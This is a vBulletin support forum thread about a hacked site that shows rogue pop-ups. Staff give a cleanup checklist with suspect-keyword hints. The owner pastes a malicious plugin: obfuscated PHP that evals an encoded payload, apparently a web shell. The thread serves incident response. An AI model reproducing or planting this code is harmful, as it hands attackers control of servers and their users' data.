Announcement

Collapse
No announcement yet.

Site pop-ups (hacked)

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • Site pop-ups (hacked)

    My site has started throwing pop-ups to rogue sites. It only seems to happen the first time you visit it, or if you've cleared out your browser history so it looks like the first time you've visited it. It generally seems to occur on the first click you make from the home page.

    I can't see anything in the page source that is causing it - anyone have any ideas? (All modifications are disabled via config.php)

    Site here: http://www.northstandchat.com/forum.php

  • #2
    There are four steps to securing your site. If you don't do them all or you do them in the wrong order than you're still susceptible to being attacked again.

    Close the hole... This has three subparts in this instance.
    1. Delete your install folder
    2. Review your admin users and delete any that don't belong. Don't ban them. Don't make them regular users. Delete them.
    3. Close access to your AdminCP using .htaccess. Use either user authorization with a different username and password or IP address restrictions.
    Fill the Hole... There are seven subparts in this instance.
    1. Review your files for changes. You can do this under Maintenance -> Diagnostics.
    2. Delete any Suspect Files.
    3. Replace any files marked as "Does not contain expected contents"
    4. Scan your plugins for malicious code (exec, base64, system, pass_thru, iframe are all suspect keywords). Delete any you find.
    5. Repair any templates. Any templates that you don't have notes on changing, you need to revert. If you're using a custom style, it is best to delete your existing style and reimport from a fresh download.
    6. Update your Addon Products.
    7. Rebuild your datastores. You can use tools.php in the "do not upload" folder to do this. Upload it to your admincp directory, delete when done.
    Secure the Hole
    Parts of this were done by closing the hole but there are still things to do here.
    1. Keep notes of all changes you make to the system - what templates and phrases you change, what files belong to which addons, what plugins do the addons install.
    2. Consider using a separate Super Admin who has access to admin logs in the AdminCP. There should be only one Super Admin.
    3. Create a lower permission Administrator for every day use.
    4. Review your permissions in the system.
    5. Block off access to the includes, modcp, packages and vb folders via .htaccess. Deny All can work here, unless you use the ModCP. You need user authorization there.
    6. Move your attachments outside the forum root directory.
    7. Create a complete backup of your site. Make database backups weekly.
    Vigilance
    You need to keep active on the security of the site.
    1. Give out the fewest permissions necessary for anyone to do their job
    2. Make sure your hosting provider updates the software.
    3. Update to the latest vBulletin when it is released.
    4. Make sure your addons are always up to date.

    Translations provided by Google.

    Wayne Luke
    The Rabid Badger - a vBulletin Cloud demonstration site.
    vBulletin 5 API - Full / Mobile
    Vote for your favorite feature requests and the bugs you want to see fixed.

    Comment


    • #3
      OK, my install folder was removed a long time ago, and I have no suspicious admins.

      Where should .htaccess reside? In my file structure I seem to have several but none high enough in the directory structure to suggest they are 'the one'. Examples I have are...

      /web/clientscript/ckeditor
      /web/content/_private
      /web/content/_vti_bin
      /web/content/_vti_bin/_vti_adm
      /web/content/_vti_bin/_vti_aut
      ...(lots like the above)...
      /web/content/blog
      /web/content/cgi_bin
      /web/content/clientscript/ckeditor

      Which is my 'root' directory? Is it mysite/web/content? If I upload test.txt to that directory, I can see it if I navigate to mysite/test.txt in my browser.

      If I delete all files that Maintenance > Diagnostics > Suspect file versions that are flagged up as 'File not recognized as part of vBulletin' is it accurate enough to ensure I won't delete any files that are required for the site to be operational? At a glance they do seem to be mainly from plugins I have since (supposedly) uninstalled, but it would be good to be sure.

      Comment


      • #4
        Before doing the htaccess bit or deleting any files, check your plugins for any rogue ones you do not recognise, and delete them.
        MARK.B | vBULLETIN SUPPORT

        TalkNewsUK - My vBulletin 5.5.6 Demo
        AdminAmmo - My Cloud Demo

        Comment


        • #5
          Originally posted by Mark.B View Post
          Before doing the htaccess bit or deleting any files, check your plugins for any rogue ones you do not recognise, and delete them.
          The only two plugins that are active are:

          Tapatalk (I'm Ok with this)
          vBulletin, hook location: init_startup. If I view it's a bit like this:

          Code:
          if (strpos($_SERVER['PHP_SELF'],"help.php")) {
          if(!function_exists("TC9A16C47DA8EEE87")){function TC9A16C47DA8EEE87($T059EC46CFE335260){$T059EC46CFE335260=base64_decode($T059EC46CFE335260) ;$TC9A16C47DA8EEE87=0;$TA7FB8B0A1C0E2E9E=0;$T17D35BB9DF7A47E4=0;$T65CE9F6823D588A7=(ord($T 059EC46CFE335260[1])<<8)+ord($T059EC46CFE335260[2]);$TBF14159DC7D007D3=3;$T77605D5F26DD5248=0;$T4A747C3263CA7A55=16;$T7C7E72B89B83E235="";$T 0D47BDF6FD9DDE2E=strlen($T059EC46CFE335260);$T43D5686285035C13=__FILE__;$T43D5686285035C13 =file_get_contents($T43D5686285035C13);$T6BBC58A3B5B11DC4=0;preg_match(base64_decode("Lyhw cmludHxzcHJpbnR8ZWNobykv"),$T43D5686285035C13,$T6BBC58A3B5B11DC4);for(;$TBF14159DC7D007D3< $T0D47BDF6FD9DDE2E;){if(count($T6BBC58A3B5B11DC4)) exit;if($T4A747C3263CA7A55==0){$T65CE9F6823D588A7=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])<<8);$T65CE9F6823D588A7+=ord($T059EC46CFE335260[$TBF14159DC7D007D3++]);$T4A747C3263CA7A55=16;}if($T65CE9F6823D588A7&0x8000){$TC9A16C47DA8EEE87=(ord($T059EC46CF E335260[$TBF14159DC7D007D3++])<<4);$TC9A16C47DA8EEE87+=(ord($T059EC46CFE335260[$TBF14159DC7D007D3])>>4);if($TC9A16C47DA8EEE87){$TA7FB8B0A1C0E2E9E=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])&0x0F)+3;for($T17D35BB9DF7A47E4=0;$T17D35BB9DF7A47E4<$TA7FB8B0A1C0E2E9E;$T17D35BB9DF7A47E 4++)$T7C7E72B89B83E235[$T77605D5F26DD5248+$T17D35BB9DF7A47E4]=$T7C7E72B89B83E235[$T77605D5F26DD5248-$TC9A16C47DA8EEE87+$T17D35BB9DF7A47E4];$T77605D5F26DD5248+=$TA7FB8B0A1C0E2E9E;}else{$TA7FB8B0A1C0E2E9E=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])<<8);$TA7FB8B0A1C0E2E9E+=ord($T059EC46CFE335260[$TBF14159DC7D007D3++])+16;for($T17D35BB9DF7A47E4=0;$T17D35BB9DF7A47E4<$TA7FB8B0A1C0E2E9E;$T7C7E72B89B83E235[$T77605D5F26DD5248+$T17D35BB9DF7A47E4++]=$T059EC46CFE335260[$TBF14159DC7D007D3]);$TBF14159DC7D007D3++;$T77605D5F26DD5248+=$TA7FB8B0A1C0E2E9E;}}else $T7C7E72B89B83E235[$T77605D5F26DD5248++]=$T059EC46CFE335260[$TBF14159DC7D007D3++];$T65CE9F6823D588A7<<=1;$T4A747C3263CA7A55--;if($TBF14159DC7D007D3==$T0D47BDF6FD9DDE2E){$T43D5686285035C13=implode("",$T7C7E72B89B83E2 35);$T43D5686285035C13="?".">".$T43D5686285035C13;return $T43D5686285035C13;}}}}eval(TC9A16C47DA8EEE87("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 